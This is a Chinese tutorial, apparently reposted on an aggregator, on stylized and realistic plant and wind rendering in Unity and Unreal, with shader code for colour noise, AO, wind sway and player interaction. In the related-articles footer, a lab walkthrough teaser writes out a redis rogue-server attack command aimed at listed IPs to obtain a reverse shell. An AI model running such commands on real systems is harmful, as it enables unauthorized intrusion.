TA实践分享:材质与渲染——植物与风(Unity+UE)

news/2024/11/15 7:11:08/文章来源:https://www.cnblogs.com/uwatech/p/18369394

【USparkle专栏】如果你深怀绝技,爱“搞点研究”,乐于分享也博采众长,我们期待你的加入,让智慧的火花碰撞交织,让知识的传递生生不息!


一、美术分析

下面是风格化和写实两种风格的草地效果,看上去是两种不搭边的美术表现形式,但拆解其背后的美术特征和实现原理二者在我们的眼中应该是一样的东西(因为两个都是草),并且进一步延伸,花、灌木、树木等等与草都同属植物,其美术特征也很是相似,实现的原理与方法也是大同小异。因此我想在一篇文章中以草地的渲染为引子,分享一下如何渲染出在风中随波荡漾的植物们。

 


来源:https://www.artstation.com/artwork/xYkGgr

 

视频:https://uwa-ducument-img.oss-cn-beijing.aliyuncs.com/Blog/USparkle_TA_Grass/2.mp4


视频来源:https://www.artstation.com/artwork/qQVZqR

 

植物与风的美术三要素:光影、色彩和动画

1. 光影
光影主要受植物的形与材质影响。

许多新鲜草或者树叶表面有一层膜,给人一种油亮的感觉。当一阵风拂过,它们会摇曳摆动,光滑的树叶在运动中改变光线的反射方向,闪烁、律动的高光给人一种生机盎然的美。现实中我们可以感知到茫茫草原上风的形状、方向、速度,一方面是因为我们看到了草弯曲的方向,另一方面是草面高光组成的形状及其变化。我们常感叹风吹麦浪的美丽,事实上我们眼中的麦浪即是风影响下的高光变化。

草往往连成一片,形状上窄下宽,可由茎、叶、花、果等多种形状组成,因此其阴影的比例基本和其高度与密度相关,即根部最阴暗(中性词),顶部受到光线的充分照射。并且草的形状、密度与运动不同会在彼此身上投射多样、无序、自然、跳动的阴影。

当然,树木的高光和阴影因其大小、形状、运动的不同,有着另外的美。

 


来源:https://www.artstation.com/artwork/XBgA3a

 

2. 色彩
每一株花花草草都是独一无二的,它们的形状和色彩有自然留下的痕迹。例如一片草地因为长在一片较干的土地上而比周围的草颜色枯黄,一棵树因为上了年纪看上去没有其它树那么茂密青翠。要想还原自然之真美,我们也应该描绘它们的多姿多彩,但我们不可能为每一株制作单独的模型、绘制单独的贴图。

我们可以通过不同轴向的旋转缩放增加一些形状上的简单差异,并且可以随机地或者依据某种规则混合多种颜色预设。

 


俯瞰树林颜色的差异

 


俯瞰树林颜色的差异

 

3. 动画
植物摆动的动画由风力和植物的受力结构共同影响。

首先风不仅有方向,有大小,还有形状(回想一下初中的知识,风是空气在不同温度和压力下的水平移动。)风的方向和大小我们通过一个向量就可以表示,而风随机多变的形状我们可以用噪音来实现。

 


感知风的形状

 

强风过境,我们可以看到片片草地统一的运动形态,但是当风力减小,因为不同草的高矮胖瘦和斜度不同,它们的重心也存在差异,此时在重力与风力的相互作用下,它们会有各不相同的运动。

二、性能预判

茂密广布的草需要大量的模型面片来实现,当这些模型的数量达到一定量级后必然会带来性能问题。下面简单分析一下草以及大多数植物渲染的性能瓶颈节点,并提供对应的解决方案。

1. 合批
每一棵草基本对应一个或多个模型,成千上万的草很容易导致CPU提交渲染命令时拥堵,因此我们必须进行合批处理,关于合批是什么请点击下面的文章链接:《技术美术百人计划-图形5.8合批原理讲解 笔记》。

 

从上面的图表可以判断,GPU Instancing更适合草地等大面积植物的渲染。其他的合批方式均存在局限性,动态合批只能处理少量顶点,静态合批并不适用于有动画表现的非静态对象,而SRP Batch只能在SRP渲染管线使用。

2. LOD
LOD是游戏中常用的技术,英文Level of Detail的缩写,即细节层次。在计算机图形学中,LOD常用于优化三维模型的渲染性能和内存占用,以提高实时渲染的效率。

LOD技术通过根据观察距离和相机位置等因素,动态地调整模型的细节层次,从而在不同的距离和视野情况下使用合适的模型细节。较远处的模型通常使用较低细节级别的模型,而较近的模型则使用更高细节级别的模型,以在保持可视质量的同时减少计算和渲染的负担。

在较大的自然场景内,植被的分布具有纵深和层次感,因此需要根据观察距离和相机位置等因素显示不同层级的LOD。但植物的LOD方案有些微不同,植物的形状结构有其特点,可以被看作一个包裹的圆柱形,从前后左右环视形状颜色相似(想想你不能分辨哪个面是植物的正面/背面)。因此我们可以把远处的植物换成单张面片,而不是简化坍缩后的模型,但我们需要根据相机方向同步旋转面片,并且实时调整正确的光影效果。

3. OverDraw
OverDraw(过多绘制)是指在图形渲染过程中,对同一像素多次绘制的情况。当一个像素被重复绘制多次时,会浪费计算资源和图形处理器的性能。

OverDraw的常见原因包括:

  • 透明物体叠加:当多个透明物体在同一位置并重叠时,将会导致过多的绘制操作。
  • 不可见物体绘制:将被其他物体完全遮挡的不可见物体仍然绘制会产生过多的绘制开销。
  • 多次渲染相同的像素:当多个物体渲染到同一个像素位置上时,会导致不必要的重复绘制。
  • 无效剔除:未对不可见物体进行剔除,导致将不可见的物体也进行了绘制。

想要更为详细的了解可以阅读链接文章:《Unity基础:性能杀手Overdraw详解》

许多植物的茎叶模型都是面片的简单穿插,更为细致的形状结构通过贴图的Alpha通道Mask实现。

 

 

 

 

上面展示的是草常见的模型与贴图样式。

为了降低OverDraw,我们应该尽量使用不透明的方式渲染植物,使模型尽量与植物实际形状和大小贴合。

 

 

4. 补充延伸
除了上面主流的草地制作与渲染流程,用曲面细分+几何着色器可以优化整个草地的制作与渲染,但该方案需要软硬件的支持。

关于曲面细分+几何着色器可以通过下面的文章简单了解:《技术美术百人计划-图形 3.3 曲面细分与几何着色器 大规模草渲染 笔记》

如果想要实现该效果,可以通过下面的视频学习:https://www.youtube.com/watch?v=MeyW_aYE82s&t=918s

用曲面细分+几何着色器渲染草地可以优化掉合批(该方案的草并不是一个个独立的模型,它们与草地是一体的)、LOD(可以根据据摄像机的距离影响草地生成的变量,降低远处草地的密度)、OverDraw(可以直接用代码控制草的形状,避免透明带来的OverDraw)问题。

三、方案拆解

1. 全局颜色
所谓全局颜色就是将所有的草看作一个整体,在全局、整体层面控制草的颜色,而非关注单颗草的色彩表现,实现植物整体和谐自然的美。

既然要实现全局的效果,我们必然想到要在世界空间内做文章,要实现自然随机的效果又想到噪音贴图。

所以,以世界空间XZ坐标采样噪音,以噪音混合植物颜色。

但是,当植物体积较大时,我们单纯的以模型顶点在世界空间中的XZ值取获得对应的颜色,会造成一颗植物身上存在怪异割裂的两种颜色,想象一个人左边是白色皮肤,右边是黑色皮肤那肯定是不自然的。这个问题的解决方法也很简单,我们可以把模型顶点采样改为模型原点在世界空间采样噪音值,这样模型上的所有顶点可以获得了一个统一值,即原点采样得到的值。

UE实现:

 

Unity实现:

float GlobalMixNoise (float2 WorldXZ, sampler2D NoiseTex, float UVscale){WorldXZ /= UVscale;float noise1 = tex2D (NoiseTex, WorldXZ / 60).r;float noise2 = tex2D (NoiseTex, WorldXZ / 8).r;return noise1 * noise2;
}

 

2. AO效果
对于草地来说,动态阴影的性能消耗很大,因此一般对美术效果影响不大的情况下会关闭阴影效果,并且有动画的草也无法烘焙AO效果。但如果只有光没有影整个画面会不真实,缺少立体感、空间感。

我们知道草的AO来源于草与草之间的光线遮挡,树叶的AO来源于树叶之间的光线遮挡。知道了AO的形成原理,我们就可以大致判断AO出现的位置,进而可以在Shader中通过算法近似地模仿AO效果。

作者的思路是通过距离渐变遮罩加深草靠近根部的颜色,或者加深树冠内部的颜色。

UE实现:
UE提供了可以直接使用的球体遮罩节点。

球体遮罩(SphereMask)表达式根据距离计算来输出遮罩值。如果某一个输出是某个点的位置,而另一输入是具有某半径的球体的中心,那么遮罩值将是0(位于球体外部)和1(位于球体内部),并存在一定的过渡区域。

 

 

 


来源:俞宇原先生

 

Unity实现:
代码解释:计算顶点至根部的距离,并将其压缩到0-1,作为遮罩得到越接近根部越暗的AO效果。

float SphereMask(float3 position, float3 center, float radius)
{float dis = distance(center, position);float mask = smoothstep(radius, 0, dis);return mask;
}

 

上面的方法也许并非最适合你想要的效果,仅仅是一个思路。

例如,实现树叶的AO效果我们甚至可以通过一个菲涅尔算法实现一个不太正确但好看的效果,下面的视频中则使用VectorLength实现效果。
https://www.youtube.com/watch?v=CptpQ5vSy0U

3. 风动效果
对于模型来说一切动画都是顶点的运动,因为点——线——面——形中顶点(Vertex)是最基础的元素。催动顶点运动的方式有很多,骨骼动画(四元数)、形态键(Lerp)、VAT(位置/时间)、顶点动画(Sine等)等等,选择何种方式还是取决于效果。

下面从引擎的角度拆解分析一下风中草(植物)的动画,对引擎来说一切运动/形态的基础是缩放、旋转和平移,在草(植物)的运动中缩放的影响可以忽略不计。草(植物)主要以根部为固定点左右/前后摆动,所以它的运动既可以被看作是以根部为圆心的旋转(旋转的角度受风力大小影响),也可以被看作是从低至高强度递增的位移效果,简言之就是让模型顶点对应风的方向、强度时间连续地旋转或者位移即可。

上面我们简略地从图形学、游戏引擎、数学、生物、物理和动画的角度分析了风中草的动画表现,我们有很多方法可供选择,以实现大致的动画效果。

方法一:
其中,简单的方法是用一个Sine函数在世界空间X、Z方向做随时间的循环位移,并用UV的Y方向值做从高至低的位移强度递减,使根部的位移值保持0,因此也需要对模型的UV做特殊处理保证草模型垂直展开在UV坐标上,并且模型最底部与UV.y=0对齐。具体实现方法可以看下面的链接:《[原神风格渲染02]URP下的草地建模+Shader还原》。

此方法简单,但效果并不一定理想,Sine函数的特性使草的运动有些柔软、周期重复感明显,并且不适合模型更为复杂的植物。但对于结构简单的风格化草地是一个理想方案,并且其柔软的效果也非常适合水中植物的表现。

 


来源:https://zhuanlan.zhihu.com/p/570419018

 

方法二:
第二种方法是UE中提供的Wind节点,适合用于许多风效的表现,也包括草等植物。

UE实现:

 

Unity实现:

float3 Wind(float3 additionalWPO, float3 worldVertPos, float windIntensity, float windSpeed){float speed = _Time.y * 0.1 * windSpeed * -0.5;float3 speedX = float3(1.0, 0.0, 0.0) * speed;speedX = (worldVertPos / 1024) + speedX;speedX = abs(frac(speedX + 0.5) * 2.0 -1.0);speedX = (3.0 - (2.0 * speedX)) * speedX * speedX;float d = dot(float3(1.0, 0.0, 0.0), speedX);float3 speedY = (worldVertPos / 200) + speed;speedY = abs(frac(speedY + 0.5) * 2.0 -1.0);speedY = (3.0 - (2.0 * speedY)) * speedY * speedY;float distanceY = distance(speedY, float3(0.0, 0.0, 0.0));float angle = d + distanceY;float3 point0 = additionalWPO + float3(0.0, -10.0, 0.0);float3 rotatePos = additionalWPO - point0;rotatePos = mul(float3x3(cos(angle), -sin(angle), 0.0,sin(angle), cos(angle), 0.0, 0.0, 0.0, 1.0), rotatePos);rotatePos += point0;return (rotatePos * windIntensity * 0.01) + additionalWPO;
}

 

方法三:
用于实现旋转的四元数也非常适合实现草的旋转。四元数旋转是一种常用于表示和计算三维空间中物体旋转的数学工具。相比欧拉角旋转,它能有效地表示旋转角度和旋转轴,并提供连续、平滑的旋转插值。

四元数由四个实数组成,通常表示为q=(w, x, y, z),其中w是实部,(x, y, z)是虚部,也是旋转向量的坐标。四元数可用于表示物体围绕任意轴旋转的情况。

四元数旋转的基本步骤如下:

  • 创建初始的四元数表示旋转。
  • 根据旋转轴和旋转角度,计算出四元数的虚部坐标 x, y, z。
  • 对四元数进行归一化,确保其长度为1。
  • 根据需要,可以通过乘法操作将多个旋转组合起来。
  • 如果需要进行插值,可以使用球面插值等技术。

下面的链接详细分析了如何将四元数转换为旋转矩阵:《四元数和旋转(Quaternion & rotation)》

UE实现:

 

Unity实现:

float3 QuaternionRotate(float3 RotationAxis, float RotationAngle, float3 PivotPoint, float3 points)
{// 将旋转角度转换为弧度float radians = RotationAngle * 0.0174533; // 将角度转换为弧度// 标准化旋转轴向量//float3 normalizedAxis = normalize(RotationAxis);// 计算旋转四元数的参数float halfAngle = radians * 0.5;float s = sin(halfAngle);float4 quaternion = float4(RotationAxis * s, cos(halfAngle));// 对点进行平移到旋转中心
float3 translatedPoint = points - PivotPoint;// 计算旋转后的点
float3 rotatedPoint = 2.0 * cross(quaternion.xyz, translatedPoint * quaternion.w + cross(quaternion.xyz, translatedPoint)) + translatedPoint;// 对旋转后的点进行平移回原点
rotatedPoint += PivotPoint;return rotatedPoint;
}

 

方法四:
以上方法适合结构较为简单的植物,对于层次结构复杂的树并不适用。我们可以把树看作是具有多个层级的骨骼,每个层级围绕对应的“关节点”运动,即树的整体围绕树根旋转,一级树枝围绕其与树干的交界点旋转,二级树枝围绕其与一级树枝的交界点旋转,树叶围绕其与树枝的交界点旋转。

 


来源:俞宇原先生

 

所以,对于结构复杂的树我们可以使用UE(我们也可以在Unity还原类似的技术)为我们提供的Pivot Painter(Pivot即各层级的交界点,包含位置与方向)技术实现风动效果。

 


Pivot即各层级的交界点,包含位置与方向

 

下面的链接详细介绍了UE的Pivot Painter2技术,以及其内置的相关材质节点:
https://docs.unrealengine.com/5.3/zh-CN/painter-tool-2.0-material-functions-in-unreal-engine/

Pivot Painter技术的关键是将Pivot的位置与方向记录在一张贴图上,以供材质读取。其旋转动画的实现仍然以上面的方法三为基础,区别在于需要在Pivot贴图中获得各个模型顶点的旋转原点(Position)与轴向(Direction)。至于如何获得Pivot贴图,Houdini、Blender、3DMax等主流DCC软件都有提供支持,下面分享一些链接以供参考制作Pivot贴图:

Houdini方法:
《沙滩Beachc:Houdini+Pivot Painter2在UE4中制作多边形重组动画》

Blender方法:
《Unreal | Pivot Painter in Blender》

4. 曲率控制
我们为什么要给植物的风效动画加上曲率?

因为,物体的弹性和重量感对于动画效果至关重要。通过变化形状的方式或者模拟物体受力的效果,可以使动画中的物体看起来更符合现实世界的物理规律。

下图分别是无曲率旋转和有曲率旋转的区别,可以看出曲率的加入对于效果的影响巨大,没有曲率的竹子看上去非常僵硬。

 


来源:俞宇原先生

 

 


来源:俞宇原先生

 

曲率的实现使用了和AO效果相同的思路——球体遮罩(SphereMask)。

 

 

5. 风浪高光
我们在前面的美术分析中详细阐述了风浪与草高光的对应关系,高光对于表现麦浪的动态与光影之美至关重要,但是我们无法直接在光照模型中直接获得正确的高光效果。

一方面是性能原因,与阴影类似,随着顶点的位置变化我们需要动态的修改法线方向才能获得正确的光照。另一方面是为了优化植物的光影效果(下面第7点将展开解释)我们会修改模型原本正确的法线方向,所以我们的高光效果会受到影响。

所以我们此时只能脱离光照模型的思维局限,学会用错误的算法获得正确的效果。

我们的做法是,根据草高光出现的位置用顶点色制作遮罩,结合风效噪声图动态提高颜色亮度(因为高光需要与风浪同步),并与草原本的颜色做混合,如果我们认为高光的亮度不够甚至可以把高光颜色传递给自发光,得到更好看的效果。

 

 

6. 角色交互
角色交互本质也是一种草(植物)的动画效果,区别在于我们需要加上角色位置与方向对于动画的实时影响。因为我们在风动效果中提供了四种方法,每种方法也需要匹配对应的角色交互方案。

方案一:
根据模型距离玩家的距离与方向计算模型的旋转向量,实现角色交互带来的不同方向与强度的旋转效果。适合使用了四元数旋转矩阵的风动效果方法三与方法四。

Unity代码:

float3 playerVector = normalize(_ActorPos - pivotPoint);playerVector = normalize(cross(playerVector, xvector));float actorMask = SphereMask(_ActorPos, pivotPoint, _ActorSphere);xvector = actorMask > 0.5 ? playerVector : xvector;//把xvector传递给函数//float3 QuaternionRotate(float3 RotationAxis, float RotationAngle, float3 PivotPoint, float3 points)//的RotationAxis参数。

 

方案二与方案三:

 

 

上图提供了方案二与方案三,方案二需要UE距离场功能支持,方案三需要输入一个玩家位置数据,但算法与方案一略有不同。方案二与方案三的本质是获得一个角色交互范围的遮罩,然后用这个遮罩影响风效,但方案三不受距离场功能的限制可以用于更多场景。

7. 光影优化
在真正的植被渲染中我们往往使用包裹式法线,或者在一些面片制作的草模型中把所有法线方向更改为(0,1,0)(对应xyz,即法线方向指向上方),这样做的目的是为了使植物的光影效果整体整洁。

 


来源:@SakuraWhite

 

 


来源:@Nanyin

 

这么做的原因是植物模型,不论是草还是树,大多是平坦的面片穿插而成。如果保持使用单个面片原本的法线,当我们从整体的角度看这个模型时模型的法线将非常凌乱且不符合自然规律,进而光照模型得到的光影效果也会很丑。就像我们画画时应该关注整体的画面结构、光影和色彩,而不去过分在意某处细节的正确与否,植物的法线也应该从整个模型的角度观察。

Face Normal:


来源:https://www.youtube.com/watch?v=E_IiqijpfS0

 

Bent Normals:


来源:https://www.youtube.com/watch?v=E_IiqijpfS0

 

Object Normal:


来源:https://www.youtube.com/watch?v=E_IiqijpfS0

 

Camera Normal:


来源:https://www.youtube.com/watch?v=E_IiqijpfS0

 

下面分享两个在DCC软件中修改植物法线的方法,感兴趣的可以阅读一下:

《Blender 中制作风格化植被的包裹式法线》

《Houdini在游戏里的简单运用p3(插片草从)》


这是侑虎科技第1648篇文章,感谢作者RE Ding供稿。欢迎转发分享,未经作者授权请勿转载。如果您有任何独到的见解或者发现也欢迎联系我们,一起探讨。(QQ群:793972859)

作者主页:https://www.zhihu.com/people/ding-yan-qing-75

再次感谢RE Ding的分享,如果您有任何独到的见解或者发现也欢迎联系我们,一起探讨。(QQ群:793972859)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/784287.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

1线性回归

一、概念 线性回归是机器学习中有监督机器学习下的一种算法。 回归问题主要关注的是因变量y(需要预测的值,可以是一个也可以是多个)和一个或多个数值型的自变量x(预测变量)之间的关系。需要预测的值:目标变量(target,y,连续值预测变量)。 影响目标变量的因素:X1..Xn…

设计模式之cglib动态代理

什么是动态代理呢?动态代理就是在java进程运行时,通过字节码技术,动态的生成某个类的代理类。在这个代理类中,我们可以做一些额外的操作,一方面仍然保持原有的方法的能力,另外一方面还增强了这些能力。听着是不是AOP有点像,没错,动态代理就是AOP的技术基石。在这之前我…

yarn 失败

1、输入yarn后,下载失败报错 connect ETIMEDOUT 10.136.33.5:8081at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1141:16)[1/4] Resolving packages... [2/4] Fetching packages... info There appears to be trouble with your network connection. Retrying... i…

AtCoder ABC 367

题解前言 本题解部分思路来自于网络,仅供参考。 A - Shout Everyday 题目大意 给定 Takahashi 每天的睡觉时间和起床时间,求 Takahashi 在 $A$ 时是睡着的还是清醒的。 解题思路 根据题意模拟即可。 code #include <bits/stdc++.h> using namespace std; int main() {i…

Ros2 MoveIt2 MoveGroup C++接口

在 MoveIt 中,最简单的用户界面是通过 MoveGroupInterface 类。 它为用户可能想要执行的大多数操作提供了易于使用的功能,特别是设置关节或姿势目标、创建运动计划、移动机器人、将对象添加到环境中以及从机器人上连接/分离对象。 此接口通过 ROS 主题、服务和操作与 MoveGro…

春秋云镜 Brute4Road

春秋云镜 Brute4Road先用fscan扫一下内网尝试打redis主从 python3 redis-rogue-server.py --rhost 39.98.122.75 --lhost 123.57.23.40 需要在vps下使用,选择r,然后输入要反弹的ip,port 使用pty获得交互式shell python -c import pty;pty.spawn("/bin/bash")尝试UID提…

【OpenCV教程】轮廓检测过程

@目录1.查找轮廓1.1 API1.2 轮廓层级检测模式:索引号(层级)RETR_EXTERNAL(索引顺序:从右下到左上)RETR_LIST(recommended)(索引顺序:从右下到左上,由外到内)RETR_CCOMP(not recommended)(索引顺序:由内到外,从右下到左上)RETR_TREE(recommended)1.3 轮廓坐标点储…

题解:P10279 [USACO24OPEN] The Winning Gene S

思路 建议升蓝。 算法一 考虑暴力。 我们先枚举 \(K,L\),考虑如何求解。 直接枚举每一个 \(K\)-mer,再枚举里面的每一个长度为 \(L\) 的子串,找到最大的子串并在起始部分打一个标记。最后直接看有几个地方被打标记就行。 时间复杂度:\(O(n^4)\)。预计能过测试点 \(1-4\)。 …

C10-02-HTML示例

HTML:02-1.html 基本功能实现:<a>和<img>标签联合使用及<img src="#"> 图片资源绝对路径引用JS使用:行内式、内嵌式、引入外部JS<input>标签:输入标签文本框<!DOCTYPE html> <html lang="en"> <head><me…

异常与中断的概念以及处理流程

1.CPU理解的中断CPU 在运行的过程中,也会被各种“异常”打断。这些“异常”有:指令未定义 指令、数据访问异常 SWI(软中断) 快中断 中断中断也是 “异常” 的一种,导致中断发生的情况有按键 定时器 ADC转换完成 uart 发送完数据,收到收据 等等 这些众多的“中断源”,汇集到…

wifi基础(一):无线电波与WIFI信号干扰、衰减

liwen01 2024.08.18 前言 无论是在产品开发还是在日常生活中,在使用无线网络的时候,都会经常遇到一些信号不好的问题,也会产生不少疑问:为什么我们在高速移动的高铁上网络会变慢? 为什么 5G WiFi 的穿墙能力没有 2.4G 的好? 为什么在对 WiFi 进行 iperf 拉距测试的时候,…

监理单位项目管理系统:选择前你必须知道的事

国内外主流的 10 款监理单位项目管理系统对比:PingCode、Worktile、Primavera P6、Microsoft Project、Wrike、Asana、Trello、红圈、泛微项目协同工具、广联达。在寻找适合监理单位的项目管理系统时,许多专业人士面临着复杂性和成本效益的双重挑战。一个好的系统不仅需要具备…